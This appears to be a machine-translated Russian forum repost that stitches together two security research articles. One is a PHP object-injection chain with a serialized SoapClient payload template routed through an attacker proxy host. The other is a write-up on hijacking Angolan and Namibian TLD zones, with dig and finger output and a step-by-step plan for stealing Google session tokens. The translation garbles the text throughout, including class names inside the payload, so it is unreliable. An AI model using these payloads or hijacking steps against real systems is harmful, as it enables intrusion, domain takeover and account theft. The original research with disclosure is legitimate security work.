Конечно, можно найти реальные случаи такого рода, но мы можем сделать лучше: мы хотели бы расширить уязвимость до любой инъекции объектов, без каких-либо манипуляций, требуемых для нашего ввода.

Первое, что я начал искать, - это способ получить недостижимый метод, называемый объектом SoapClient в процессе unserialize. Я не нашел ни встроенного __wakeup () или __destruct () в состоянии сделать это, но я заметил , что DateInterval «s __wakeup () метод выполняется строковые преобразования на свои дни и special_amount полей, что приводит к потенциальной __toString () вызывает в случае они были поставлены как объекты. Поэтому я продолжил исследование также по встроенному __toString () s, что привело меня к тому, чтобы найти небольшую проблему в Exception 1: если ссылаться на предыдущее Исключение в стеке, он был проверен только как объект с типом zval , который, очевидно, не гарантирует, что он также является экземпляром класса Exception .

exception = getThis();
ZVAL_STRINGL(&fname, "gettraceasstring", sizeof("gettraceasstring")-1, 1);

  while (exception && Z_TYPE_P(exception) == IS_OBJECT) {
        ...
    fci.function_name = &fname;
    zend_call_function(&fci, NULL TSRMLS_CC);
        ...
    exception = zend_read_property(default_exception_ce, exception, "previous", sizeof("previous")-1, 0 TSRMLS_CC);
    ...
  }

Интересная часть, для нашей цели, заключается в том, что метод затем вызывается на ней через zend_call_function ; поскольку любой объект передал бы проверку выше, мы можем предоставить наш объект SoapClient , который не имеет такого метода getTraceAsString , приведет к выполнению __call вместо этого.
Итак, все вместе, вот что должно выглядеть конечной полезной нагрузкой:
O: 12: «DateInterval»: 1: {s: 14: «special_amount»; O: 9: «Исключение»: 1: {s: 19: « [B][NULL-BYTE][/B] Исключение [B][NULL-BYTE][/B] предыдущее»; O : 10: «SoapClient»: 5: {s: 3: «uri»; s: 1: «a»; s: 8: «location»; s: [B][GUESS-LEN][/B] : «http: // [B][УГАДАЙ][/B] ": S: 8:" _ cookies "; a: 1: {s: [B][COOKIE-NAME-LEN][/B] :" [B][COOKIE-NAME][/B] "; a: 3: {i: 0; s: [B][COOKIE-VALUE-LEN ][/B] : « [B][COOKIE-VALUE][/B] »; i: 1; i: [B][MEMORY-ADDRESS][/B] ; i: 2; i: [B][MEMORY-ADDRESS][/B] ;}} s: 11: «_ proxy_host»; s: [B][ATTACKER-HOST -LEN][/B] : " [B][ATTACKER-HOST][/B] "; s: 11: "_ proxy_port"; i: [B][ATTACKER-PORT][/B] ;}}}

Источник: http://lab.truel.it/php-object-injection-the-dirty-way/

 

[BabaDook]

hijacking hidden domain

Я сравню его с мудрым человеком, который построил свой дом на скале. Дождь спустился, наступили потоки, и ветер дул, и бил по этому дому; и он не упал, потому что он был основан на скале. Каждый, кто слышит эти мои слова и не делает их, будет как глупый человек, который построил свой дом на песке. Дождь спустился, наступили потоки, и ветер дул, и бил по этому дому; и он упал - и великим было его падение.

Притча о мудрых и глупых строителях

Доменные имена являются основой Интернета, которым мы все наслаждаемся. Однако, несмотря на то, что люди, которые их используют, очень немногие понимают, как они работают за кулисами. Из-за многих уровней абстракции и различных веб-сервисов многие люди могут владеть доменом и настраивать весь веб-сайт, не зная ничего о DNS, регистраторах или даже WHOIS. Хотя эта абстракция имеет много положительных результатов, она также маскирует много важной информации от конечного клиента. Например, многие регистраторы более чем рады рекламировать доменное имя .io для вас, но сколько владельцев .io действительно знают, кто владеет и регулирует .ioдомены? Я не думаю, что это большой участок, чтобы сказать, что большинство владельцев домена мало что знают о сущности, стоящие за их доменным именем. Вопрос, который задают еще меньше, - « Что такое запись этого домена для безопасности ?».

Краткое введение в структуру DNS
Не стесняйтесь пропустить этот раздел, если вы уже знаете, как работает DNS и делегируется.

Итак, что вы покупаете при покупке доменного имени? В ядре вы просто покупаете несколько записей NS (nameserver), которые будут размещаться на серверах имен расширений (это, конечно же, исключает вспомогательные сервисы, такие как WHOIS, операционные расходы регистратора / регистратора и другие сборы, которые идут в ICANN). Чтобы лучше понять место расширения в цепочке DNS, мы рассмотрим график цепочки делегирования example.com . Я лично обнаружил, что визуализация очень полезна, когда дело доходит до понимания того, как работает DNS, поэтому я написал инструмент TrustTrees, который строит график путей делегирования для имени домена:

На приведенном выше графике показана цепочка делегирования, начиная с DNS-сервера корневого уровня. Для тех, кто не знаком с процессом делегирования DNS, он работает через непрерывную цепочку рефералов до тех пор, пока не будет найден целевой сервер имен. Клиент, который ищет ответ на запрос DNS, начнет с корневого уровня, запросив один из корневых серверов имен для ответа на заданный DNS-запрос. Корни, скорее всего, не знают ответа и делегируют запрос в TLD, который, в свою очередь, делегирует его соответствующим серверам имен и так далее, пока авторитетный ответбыло получено подтверждение того, что ответ сервера имен находится в нужном месте. На приведенном выше графике показаны все возможные пути делегирования, которые могут иметь место (синий указывает на авторитетный ответ). Существует много путей, потому что ответы DNS содержат списки ответов в преднамеренно случайном порядке (метод, известный как Round Robin DNS ), чтобы обеспечить балансировку нагрузки для запросов. В зависимости от порядка результатов возвращаются различные серверы имен, которые могут быть запрошены для ответа, и поэтому они могут давать разные результаты в целом. На графике показаны все эти перестановки и показаны отношения между всеми этими серверами имен.

Так что , как уже говорилось выше, если вы купили example.com .com реестра будет добавить несколько NS записи его DNS - зон , которые будут делегировать любые DNS запросы для example.com к серверам имен вы обеспечили. Эта делегация для ваших серверов имен является тем, что действительно дает вам контроль над доменным именем и возможностью делать произвольные поддомены и записи DNS для example.com . Если бы собственная организация .com решила удалить записи сервера имен (NS), делегируя их вашим серверам имен, тогда никто никогда не достигнет ваших серверов имен, и поэтому example.com перестанет работать вообще.

Принимая этот шаг в цепочке, вы можете думать о TLD и расширениях домена так же, как и любое другое доменное имя. TLD существуют и могут работать, поскольку корневые серверы имен делегируют запросы для них в серверы имен TLD. Если корневые серверы имен вдруг решили удалить записи .com NS из своей базы данных зон, то все доменные имена .com будут в мире неприятностей и, по сути, перестанут существовать.

Как доменные имена, расширения доменных имен могут пострадать от уязвимостей Nameserver
Теперь, когда мы понимаем, что TLD и расширения домена имеют серверы имен, как обычные имена доменов, возникает один вопрос: « Означает ли это, что TLD и расширения домена могут пострадать от проблем безопасности DNS, таких как имена доменов? «. Ответ, конечно, да. Если вы видели некоторые из прошлых сообщений в этом блоге, вы видели, что мы узнали, что мы можем захватить серверы имен различными способами. Мы показали, как доменное имя с истекшим или опечатанным доменным именем может привести к угону, и мы также видели, сколько хостинг-провайдеров DNS позволяет получить контроль над зоной домена без какой-либо проверки права собственности, Взяв уроки, которые мы извлекли из этих исследований, мы можем применить те же знания, чтобы попытаться добиться гораздо более грандиозного успеха: взять на себя все расширение домена.

Миссия по расширению домена - план атаки
В отличие от злонамеренного актера, я не желаю предпринимать много действий, которые, вероятно, позволят вам быстро достичь цели захвата расширения домена. В процессе изучения методов для атаки доменных расширений я обнаружил, что многие серверы имен и регистров расширения / TLD находятся в ужасном состоянии, поэтому использование и получение контроля над ними на самом деле намного проще, чем многие думают. Несмотря на то, что я рассматриваю тактику, как получение удаленного исполнения кода в реестре / сервере имен, чтобы быть вне сферы охвата, я все равно буду упоминать их как жизнеспособный путь к успеху, поскольку актеры реального мира, скорее всего, не будут уделять мало внимания этике.

Вообще говоря, следующие способы, которые я придумал для компрометации расширения домена / домена:

• Использовать уязвимость на DNS-сервере, на котором размещается данное расширение домена, или использовать любые другие службы, размещенные на серверах имен расширений. Атакующие реестры также попадают в эту же категорию, поскольку у них есть возможность обновлять эти зоны как часть нормальной работы.
• Найдите и зарегистрируйте домен с истекшим или опечатанным доменом имен, который является авторитетным для расширения домена / TLD.
• Устранение расширения домена путем воссоздания зоны DNS в хост-провайдере, у которого больше нет зоны для размещенного там расширения.
• Устранение адресов электронной почты, связанных с контактной информацией WHOID TLD (как указано в базе данных корневой зоны IANA ).

Мы рассмотрим каждый из них и расскажем о некоторых найденных результатах, исследуя эти пути как возможные пути к нашей цели.

Уязвимые TLD и расширения доменов Nameservers на самом деле довольно распространены
Чтобы начать исследование первого метода атаки, я решил сделать простую проверку портов всех серверов имен TLD. В идеальном мире вы хотели бы видеть список серверов, прослушивающих UDP / TCP-порт 53, при этом все остальные порты закрыты. Учитывая сильное положение этих серверов имен, важно иметь как можно меньшую площадь поверхности. Любые дополнительные службы, такие как HTTP, SSH или SMTP, являются дополнительными путями для использования злоумышленником, чтобы скомпрометировать данное расширение домена / домена.

Этот раздел немного неудобен, потому что я хочу изложить, насколько тяжелой ситуация, не поощряя злонамеренную деятельность. В ходе этого исследования было несколько ситуаций, когда просто просмотр таких вещей, как веб-сайты, размещенные в серверах имен TLD, приводил к сильным показателям как эксплуатационной, так и в некоторых случаях даже к предыдущему компромиссу. Я буду опускать их и сосредоточиться только на некоторых ключевых примерах, чтобы продемонстрировать суть.

Палец

• 203.119.60.105 (e.dns-servers.vn): Авторизованный сервер имен .vn TLD для Вьетнама
• 202.29.151.3 (munnari.oz.au): Авторитетный сервер имен .bLD для Боснии и Герцеговины .

Протокол finger был написан в 1971 году Les Earnest, чтобы пользователи могли проверить статус пользователя на удаленном компьютере. Это невероятно старый протокол, который больше не используется ни в каких современных системах. Идея протокола заключается в том, чтобы ответить на вопрос «Эй, это Дейв сейчас на своей машине? Он занят? ». С помощью пальца вы можете проверить имя пользователя удаленного пользователя, настоящее имя, имя терминала, время простоя, время входа в систему, место расположения офиса и номер офисного телефона. В качестве примера мы перенесли один из авторитетных серверов имен для страны Боснии и посмотрим, что пользователь root:

bash-3.2$ finger -l root@202.29.151.3
[202.29.151.3]
Login: root Name: Charlie Root
Directory: /root Shell: /bin/sh
Last login Sat Dec 14 16:41 2013 (ICT) on console
No Mail.
No Plan

.
Похоже, что корни давно уже нет! Давайте посмотрим на один из серверов имен для Вьетнама:

bash-3.2$ finger -l user@203.119.60.105
[203.119.60.105]
Login name: nobody In real life: NFS Anonymous Access User
Directory: /
Never logged in.
No unread mail
No Plan.

Login name: noaccess In real life: No Access User
Directory: /
Never logged in.
No unread mail
No Plan.

Login name: nobody4 In real life: SunOS 4.x NFS Anonymous Access User
Directory: /
Never logged in.
No unread mail
No Plan.

Login name: named In real life: User run named
Directory: /home/named Shell: /bin/false
Never logged in.
No unread mail
No Plan.
bash-3.2$
bash-3.2$ finger -l root@203.119.60.105
[203.119.60.105]
Login name: root In real life: Super-User
Directory: / Shell: /sbin/sh
Last login Tue Sep 30, 2014 on pts/1 from DNS-E
No unread mail
No Plan.

Это последнее с последней регистрационной датой для корневого каталога от 30 сентября 2014 года. Тот факт, что этот протокол установлен на этих серверах имен, скорее всего, указывает, сколько лет эти серверы.

Динамические сайты

Вероятно, наиболее распространенным открытым сервером имен рядом с 53 был порт 80 (HTTP). Некоторые из самых интересных результатов пришли просто на этих сайтах. Например, один сервер имен просто перенаправил меня в рекламную сеть:

* Rebuilt URL to: http://93.190.140.242/
* Trying 93.190.140.242...
* Connected to 93.190.140.242 (93.190.140.242) port 80 (#0)
> GET / HTTP/1.1
> Host: 93.190.140.242
> Accept: */*
> User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.10.1
< Date: Sun, 04 Jun 2017 03:16:30 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: close
< X-Powered-By: PHP/5.3.3
< Location: http://n158adserv.com/ads?key=6c6004f94a84a1d702c2b8dc16052e50&ch=140.242
<
* Closing connection 0

Я все еще не уверен, что это был скомпрометированный сервер имен, или если владелец просто пытался сделать лишние деньги от отрывочных объявлений.

Другие серверы имен (например, один из серверов имен Албании для .com.al , .edu.al , .mil.al, .net.al и .nic.al ) возвратили различные страницы конфигурации, которые печатают подробные сведения о машине, которую они запускают на:

Сторона не будет полной без возможности запуска утилит командной строки на удаленном сервере (nameserver для .ke , .ba и нескольких других расширений):

И многое другое ...

Кроме того, есть много других интересных сервисов, которые я не буду слишком подробно останавливаться на деталях для краткости. Такие вещи, как SMTP, IMAP, MySQL, SNMP, RDP, вовсе не являются необычными портами, которые должны быть открыты на разных серверах имен доменов. Учитывая большую атакующую поверхность этих сервисов, я бы оценил шансы на этот маршрут с большим успехом, однако мы не будем проводить никаких дополнительных испытаний, учитывая, что мы не хотим действовать злонамеренно. К сожалению, из-за огромного количества серверов имен, которые устарели и небезопасны, ответственное раскрытие программного обеспечения всем владельцам, вероятно, будет бесконечным делом.

Проверка имен доменов с истекшим доменным именем и расширением Nameserver
Этот проспект был тем, что я был уверен, что это будет путь к победе, поэтому я потратил немало времени на разработку инструментов для проверки уязвимостей этого типа. Процесс для этого состоит в том, чтобы перечислить все имена хостов nameserver для данного расширения, а затем проверить, чтобы истек ли какой-либо из базовых доменов и доступен для регистрации. Основная проблема, с которой я столкнулся, - это много реестров, которые скажут вам, что домен полностью доступен, пока вы на самом деле не попытаетесь его купить. Кроме того, было несколько случаев, когда домен сервера имен истек, но по какой-то причине домен по-прежнему недоступен для регистрации, несмотря на то, что он не помечен как зарезервированный. Это сканирование приводит к перечислению многих доменных поглощений в ограниченном пространстве расширения домена / домена (.gov, .edu, .int,

Изучение Hosted TLD & Extension Nameserver для ошибок DNS
Одним из полезных инструментов для поиска уязвимостей (даже тех, которые вы даже не знали ), является проверка общих ошибок DNS и неправильных конфигураций и исследование обнаруженных аномалий. Одним из полезных инструментов для этого является ZoneMaster, который является общим инструментом сканирования DNS-конфигурации, который содержит тонны и тонны тестов для неправильной конфигурации серверов имен / DNS. Я рассмотрел этот подход, просто выполнив скрипты ZoneMaster для всех расширений домена, перечисленных в списке суффикса. Выливание и сглаживание результатов привели к некоторым довольно интересным выводам. Одна находка указана в предыдущем сообщении в блоге (в стране TLD в Гватемале .gt), а другой показан ниже.

Ударная Paydirt - обнаружение уязвимостей среди ошибок
После написания инструмента ZoneMaster для автоматизации сканирования всех расширений TLD / домена в списке суффикса публики я нашел один особенно интересный результат. При проверке результатов я обнаружил, что один из серверов имен для расширения .co.ao обслуживал код ошибки REFUSED DNS при запросе серверов имен для зоны .co.ao :

Быстрая проверка с помощью dig подтвердила, что это действительно так:
​

 

[BabaDook]

$ dig NS co.ao @ns01.backupdns.com.

; <<>> DiG 9.8.3-P1 <<>> NS co.ao @ns01.backupdns.com.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 21693
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;co.ao. IN NS

;; Query time: 89 msec
;; SERVER: 199.242.242.199#53(199.242.242.199)
;; WHEN: Thu Feb 9 21:57:35 2017
;; MSG SIZE rcvd: 2

3

Сервер имен, о котором идет речь, ns01.backupdns.com, по-видимому, запускался третьей службой DNS-хостинга под названием « Резервный DNS» :

После некоторого изучения этого сайта он представлял собой довольно старую службу хостинга DNS с акцентом на размещение резервных DNS-серверов в случае сбоя на основном сервере имен. Я заинтересовался исследованием кода ошибки DNS REFUSED, который часто используется как ошибка ответа, когда сервер имен просто не имеет зоны, хранящейся для указанного домена (в данном случае домена .co.ao ). Это часто бывает опасно, поскольку хостинг-провайдеры DNS часто позволяют настраивать зоны DNS любой учетной записью без проверки прав собственности на домен, что означает, что любой может создать учетную запись и зону для .co.ao, чтобы потенциально обслуживать совершенно новые записи ,

Заинтересовавшись, если это возможно, я создал учетную запись на веб-сайте и перешел на страницу документации:

Учитывая название сайта, инструкции по настройке имеют смысл. Чтобы создать зону для зоны .co.ao, я должен был сначала добавить зону в свою учетную запись через панель управления доменом:

Это работало без какой-либо проверки, но по-прежнему не было загружено данных зоны для этой конкретной зоны. Следующие шаги состояли в том, чтобы настроить BIND-сервер на удаленном хосте и настроить его как авторитетный сервер имен для зоны .co.ao . Кроме того, сервер должен был быть настроен так, чтобы разрешать передачу зон с сервера имен BackupDNS, чтобы данные зон могли быть скопированы. Следующие диаграммы показывают этот процесс в действии:

Мы начинаем с нашего главного DNS-сервера (в данном случае сервера BIND, настроенного в AWS) и целевого сервера имен BackupDNS, мы хотим, чтобы наша зона была скопирована.

С регулярным интервалом сервер имен BackupDNS выдаст запрос на передачу зоны ( DNS-запрос AXFR ). Это, в основном, сервер имен, спрашивающий « Могу ли я получить копию всех данных DNS, которые у вас есть для .co.ao? «.

Поскольку мы настроили наш главный сервер имен, чтобы разрешить передачу зон с сервера имен BackupDNS через конфигурацию разрешающей передачи в BIND, запрос предоставляется и данные зоны копируются. Теперь мы создали надлежащую .co.ao зону обслуживания BackupDNS!

Хорошо, поэтому я хотел бы остановиться на мгновение и указать, что на данный момент я действительно не думал, что это сработает. Это был не первый случай, когда я тестировал такие проблемы с различными серверами имен, и предыдущие попытки закончились неудачно. При этом на всякий случай, когда это было сделано, зона, которую я скопировал, была намеренно сделана с записями с TTL в 1 секунду и записью SOA всего 60 секунд. Это означает, что записи будут быстро удалены из кэша, и запрос DNS мне вскоре переделает в другой сервер имен, который был бы законным для расширения. Если вы когда-либо проводите какие-либо проверки такого рода, я настоятельно рекомендую вам сделать то же самое, чтобы свести к минимуму кеширование неправильных DNS-ответов для людей, пытающихся получить доступ к цели законно.

Это, конечно же, работало, и сервер имен BackupDNS сразу же начал обслуживать DNS-трафик для .co.ao . После того, как я увидел, что служба подтвердила копию, я сделал быстрый запрос с копанием, чтобы подтвердить:

$ dig NS google.co.ao @ns01.backupdns.com

; <<>> DiG 9.8.3-P1 <<>> NS google.com.ao @ns01.backupdns.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 37564
;; flags: qr aa rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;google.co.ao. IN NS

;; AUTHORITY SECTION:
co.ao. 60 IN SOA root.co.ao. root.co.ao. 147297980 900 900 1800 60

;; Query time: 81 msec
;; SERVER: 199.242.242.199#53(199.242.242.199)
;; WHEN: Sun Feb 12 23:13:50 2017
;; MSG SIZE rcvd: 83

О, это нехорошо. Я изначально разместил несколько NS-записей в файле зоны BIND с целью делегирования DNS-запросов обратно в законные серверы имен, но я испортил конфигурацию BIND и вместо ответа на DNS-реферал сервер ответил авторитетным ответом NXDOMAIN , Очевидно, это не очень удобно, поэтому я быстро удалил зону из службы BackupDNS. Из-за некоторого раздражающего поведения кэширования службы BackupDNS это заняло несколько минут дольше, чем мне хотелось бы, но вскоре служба снова возвращалась REFUSED для всех запросов для .co.ao . К счастью, все это происходило в 3 часа 00 минут по Анголе, это в сочетании с длинным TTL для TLD .co.ao,вероятно, означало, что на самом деле на них повлияло очень мало пользователей (если они есть).


Несмотря на это, это подтвердило, что расширение действительно уязвимо. Затем я вернулся к результатам проверки, которые я собрал, и обнаружил, что это не только было. co.ao уязвимы, но .it.ao , nic.ao и reg.it.ao также были уязвимы! it.ao является еще одним расширением домена для страны Анголы, которое обычно используется для организаций за пределами страны. reg.it.ao - это организация, которая управляет. it.ao и .co.ao .

Учитывая большое влияние, которое может произойти, если эти расширения были захвачены злобно, я решил заблокировать других пользователей от возможности добавлять эти зоны к своим собственным учетным записям BackupDNS. Я добавил все расширения в свою учетную запись, но не создал для них каких-либо данных зон, это гарантировало, что они по-прежнему возвращают обычные ошибки DNS без каких-либо результатов, все еще препятствуя дальнейшей эксплуатации:

После предотвращения немедленной эксплуатации я попытался связаться с владельцами расширений .co.ao и .it.ao . Для получения дополнительной информации о процессе раскрытия информации см. Ниже раздел «Ответственная шкала раскрытия информации».

Угон TLD - Компромисс.. TLD через WHOIS
Хотя захват сервера имен для расширения домена очень полезен для эксплуатации, существует более высокий уровень компрометации, от которого могут пострадать TLD. Право собственности на ДВУ описывается контактами, указанными в записи WHOIS, которая размещается в базе данных корневой зоны IANA . В качестве злоумышленника наш главный интерес был бы в том, чтобы заставить серверы имен переключиться на наши собственные вредоносные серверы имен, чтобы мы могли обслуживать альтернативные записи DNS для TLD. IANA имеет процедуру инициирования этого изменения для ccTLD, которые можно найти здесь . Важный отрывок из этого состоит в следующем:

Сотрудники IANA будут проверять авторизацию / аутентичность запроса и получать подтверждение от перечисленных административных и технических контактов TLD, о которых эти контакты знают и согласуются с запрошенными изменениями. Требуется минимальная аутентификация обмена электронными письмами с адресами электронной почты, зарегистрированными в IANA.​

Главное, что нужно сделать, это то, что IANA разрешит изменение имени сервера для TLD (просто заполните эту форму ), если оба администратора и технический контакт в WHOIS подтвердят по электронной почте, что они хотят, чтобы изменения произошли.

В целях проверки безопасности этой практики я перечислил все домены адресов электронной почты домена TLD WHOIS и использовал сценарий TrustTrees, который я написал, чтобы искать ошибки в конфигурациях DNS этих доменов. После прочтения страниц диаграмм я нашел что - то интересное в DNS для .На области контакта электронной почты ДВА ( na-nic.com.na ). Ниже приведена диаграмма путей делегирования для этого домена:

 

[BabaDook]

Соответствующий раздел этого графика следующий:

Как видно выше, три сервера имен для домена возвращают фатальные ошибки при запросе. Эти серверы имен, ns1.rapidswitch.com , ns2.rapidswitch.com и ns3.rapidswitch.comпринадлежат к управляемому DNS-провайдеру RapidSwitch . Если мы выполняем запрос в dig, мы можем увидеть конкретные детали возвращаемой ошибки:

$ dig NS na-nic.com.na @ns1.rapidswitch.com.

; <<>> DiG 9.8.3-P1 <<>> NS na-nic.com.na @ns1.rapidswitch.com.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 56285
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;na-nic.com.na. IN NS

;; Query time: 138 msec
;; SERVER: 2001:1b40:f000:41::4#53(2001:1b40:f000:41::4)
;; WHEN: Fri Jun 2 01:13:03 2017
;; MSG SIZE rcvd:

31

Сервер имен отвечает с кодом ошибки REFUSED DNS. Как и в случае с расширениями доменов Анголы, этот код ошибки может указывать на то, что домен уязвим к захвату, если поставщик управляемого DNS неправильно проверяет домены, прежде чем пользователи добавят их в свою учетную запись. Чтобы исследовать, я создал учетную запись RapidSwitch и перешел к части «Мои домены» на веб-сайте:

Раздел «Мои домены» содержал кнопку «Добавить хостинг домена», которая была именно тем, что я хотел сделать.

Заполнив этот процесс, я смог добавить домен на свою учетную запись без проверки владельца. Оказалось, что единственная проверка, которая возникает, - это проверка, чтобы гарантировать, что RapidSwitch действительно указан как сервер имен для указанного домена.

Наличие домена в моей учетной записи было проблематичным, потому что мне пришлось реплицировать настройку DNS исходного сервера имен, чтобы предотвратить перебои в DNS домена (на котором размещены адреса электронной почты, веб-сайты и т. Д. Для na-nic.com.na ). Удаление домена из моей учетной записи сделало бы домен уязвимым для захвата снова, поэтому мне также пришлось клонировать существующие записи.

После создания записей я добавил некоторые записи для proof.na-nic.com.na , чтобы убедиться, что я действительно успешно захватил DNS для домена. Следующий запрос dig показывает результаты:

$ dig ANY proof.na-nic.com.na @ns2.rapidswitch.com

; <<>> DiG 9.8.3-P1 <<>> ANY proof.na-nic.com.na @ns2.rapidswitch.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49573
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 4, ADDITIONAL: 4
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;proof.na-nic.com.na. IN ANY

;; ANSWER SECTION:
proof.na-nic.com.na. 300 IN A 23.92.52.47
proof.na-nic.com.na. 300 IN TXT "mandatory was here"

;; AUTHORITY SECTION:
na-nic.com.na. 300 IN NS ns1.rapidswitch.com.
na-nic.com.na. 300 IN NS ns3.rapidswitch.com.
na-nic.com.na. 300 IN NS oshikoko.omadhina.net.
na-nic.com.na. 300 IN NS ns2.rapidswitch.com.

;; ADDITIONAL SECTION:
ns1.rapidswitch.com. 1200 IN A 87.117.237.205
ns3.rapidswitch.com. 1200 IN A 84.22.168.154
oshikoko.omadhina.net. 3600 IN A 196.216.41.11
ns2.rapidswitch.com. 1200 IN A 87.117.237.66

;; Query time: 722 msec
;; SERVER: 2001:1b40:f000:42::4#53(2001:1b40:f000:42::4)
;; WHEN: Sat Jun 3 17:33:59 2017
;; MSG SIZE rcvd: 252

Как можно видеть выше, запись TXT (и запись A) успешно возвращена, что указывает на то, что проблема угона DNS подтверждена. В реальном мире атака последним шагом будет DDoS оставшийся законный сервер имен для устранения конкуренции за ответы DNS (шаг, который мы, очевидно, не будем принимать) *.

После этого я обратился к контактам .na TLD, чтобы сообщить об этой уязвимости и зафиксировать ее как можно скорее. Для получения дополнительной информации об этой временной шкале раскрытия см. Раздел «Ответственный срок раскрытия информации» ниже.

* В нашем плане атаки есть еще одна проблема, в отличие от * .it.ao и * .co.ao, у домена na-nic.com.na включен DNSSEC. На самом деле это то, о чем я даже не заметил, потому что мой резольвер не поддерживает DNSSEC. Попробовав его в нескольких разных сетях, похоже, что почти каждый распознаватель, который я использовал, фактически не применяет DNSSEC (что меня немного удивило). Проведя еще несколько исследований, похоже, что глобальное внедрение довольно мало для DNS-резольверов, что объясняет это поведение. Таким образом, в зависимости от конфигурации резольвера наша атака может быть осложнена этой проблемой! Мы обсудим это далее в разделе заключительных выводов ниже. Это, как говорится, хорошая работа для администратора, устанавливающего его!
Влияние поглощения домена / домена
Универсальная аутентификация и международные домены
Несмотря на эти уязвимости, влияющие на расширение для страны Анголы и Намибии, последствия намного дальше, чем только эти страны. Например, многие популярные онлайн-сервисы будут иметь несколько домашних страниц с расширениями домена в местной стране / регионе, чтобы дать сайту более локальное чувство. Многие из этих сайтов свяжут все эти домашние страницы вместе с универсальным потоком аутентификации, который автоматически регистрирует пользователя на любой домашней странице, несмотря на то, что все они являются отдельными доменами.

Одним из примеров этого является Google, в котором есть поисковые страницы со многими расширениями ( здесь есть ссылка, которая, как представляется, агрегировала их все ). Одним из них, конечно же, является google.co.ao :

Другой из них - google.com.na :

Чтобы обеспечить более бесшовный опыт, вы можете легко войти на любую домашнюю страницу Google (если вы уже прошли аутентификацию в Google на другой странице), просто нажав синюю кнопку в правом верхнем углу главной страницы. Эта кнопка представляет собой только ссылку, аналогичную следующей:

https://accounts.google.com/ServiceLogin?hl=pt-PT&passive=true&continue=https://www.google.co.ao/?gws_rd=ssl
Посещение этой ссылки приведет к перенаправлению 302 по следующему URL-адресу:

https://accounts.google.com/ServiceLogin?hl=pt-PT&passive=true&continue=https://www.google.co.ao/?gws_rd=ssl
Это передает токен сеанса в параметре sidt, который регистрирует вас в домене google.co.ao и позволяет аутентификации пересекать барьер домена / происхождения.

Однако это означает, что если вы нарушаете любое расширение домена главной страницы Google ( из которого Google доверяет приблизительное число ~ 200 ), вы можете использовать эту уязвимость, чтобы начать захват какой-либо учетной записи Google из любого региона. Это странная модель угроз, потому что вполне вероятно, что вы сможете использовать один из 200 доменных серверов / реестров доменных имен, прежде чем сможете получить работоспособную учетную запись Google в своем стандартном наборе сервисов. В конце концов, у Google есть большая группа безопасности, в которой люди постоянно проверяют свою инфраструктуру, где столько доменных имен и доменных доменов просто управляются случайными и зачастую небольшими организациями.

Это немного упрощает его. Чтобы на самом деле злоупотреблять уязвимостью захвата DNS этого типа, вам нужно будет выполнить следующие шаги (все скрытно, чтобы не попасть слишком быстро):

• Компромиссьте сервер имен или реестр доменных расширений, чтобы получить возможность изменять серверы имен для веб-сайта вашей цели.
• Начните возвращать новые серверы имен, которые вы контролируете для своего целевого домена, с чрезвычайно длинным TTL ( по умолчанию преобразователь BIND поддерживает до недели ). Это важно, так что мы можем получить кеширование как можно большего числа резольверов, мы также хотим установить низкий TTL для фактического разрешения записи A для поддоменов google.co.ao/google.com.na, чтобы мы могли быстро переключайте их, когда мы хотим ударить.
• После того, как мы сильно уложили колоду в нашу пользу, мы должны теперь получить действительный сертификат SSL для нашего доменного имени google.co.ao/google.com.na . Это один из самых сложных шагов, потому что прозрачность сертификата может заставить нас поймать очень быстро . Обсуждение прозрачности сертификатов и получение сертификата без регистрации журналов прозрачности сертификатов являются длинными, но достаточно сказать, что это будет не так просто, как было .
• Теперь мы настроили несколько серверов для размещения вредоносного сайта google.co.ao/google.com.na с включенным SSL и переключили все ответы на запись A, чтобы указать на наши вредоносные серверы. Затем мы начнем нашу кампанию, чтобы как можно больше пользователей Google посетили указанную выше ссылку, чтобы дать нам свои токены для аутентификации, в зависимости от цели, которая может быть более целенаправленной кампанией и т. Д. Одна приятная часть об этой атаке - t даже нужно посетить URL-адрес - любые запросы тегов <img> (например, все, что вызывает запрос GET) завершат перенаправление 302 и дают то, что мы ищем.

Широко распространенные эмоции - затуманенная паутина
Еще одна вещь, которую следует учитывать, заключается в том, что не все имена доменов * .co.ao, * .it.ao и * .na уязвимы для угона DNS, но также все, что зависит от этих расширений, также может стать уязвимым. Например, другие домены, которые используют имена хостов * .co.ao / * .it.ao / * .na, могут быть отравлены прокси (хотя записи клея могут сделать это сложным). Контакты WHOIS, которые отражают домены от этих расширений, также находятся в опасности, поскольку WHOIS можно использовать для вытягивания доменов у владельцев и выдачи сертификатов SSL. Перемещение слоев стека вещей, таких как HTTP-ресурс, включает в себя сайты, показывающие, насколько запутанный веб-сайт на самом деле.

Выводы и заключительные мысли
Надеюсь, что я сделал убедительный аргумент, что безопасность доменных доменов / TLD не является непогрешимой. Имейте в виду, что даже при использовании всех этих трюков DNS самый простой способ скорее всего будет использовать уязвимость в службе, запущенной на серверах имен доменов. По моему мнению, я считаю, что власти Интернета и более широкое сообщество должны предпринять следующие шаги для лучшей защиты DNS:

• Требовать подтверждения телефона для высоких изменений воздействия на TLD в дополнение к минимальному требованию подтверждения электронной почты от контактов WHOIS.
• Установите более строгие требования к серверам имен TLD - ограничение доступа портов только к UDP / TCP-порту 53.
• Выполнять непрерывный автоматизированный аудит DNS TLD и уведомлять операторов TLD при обнаружении ошибок DNS.
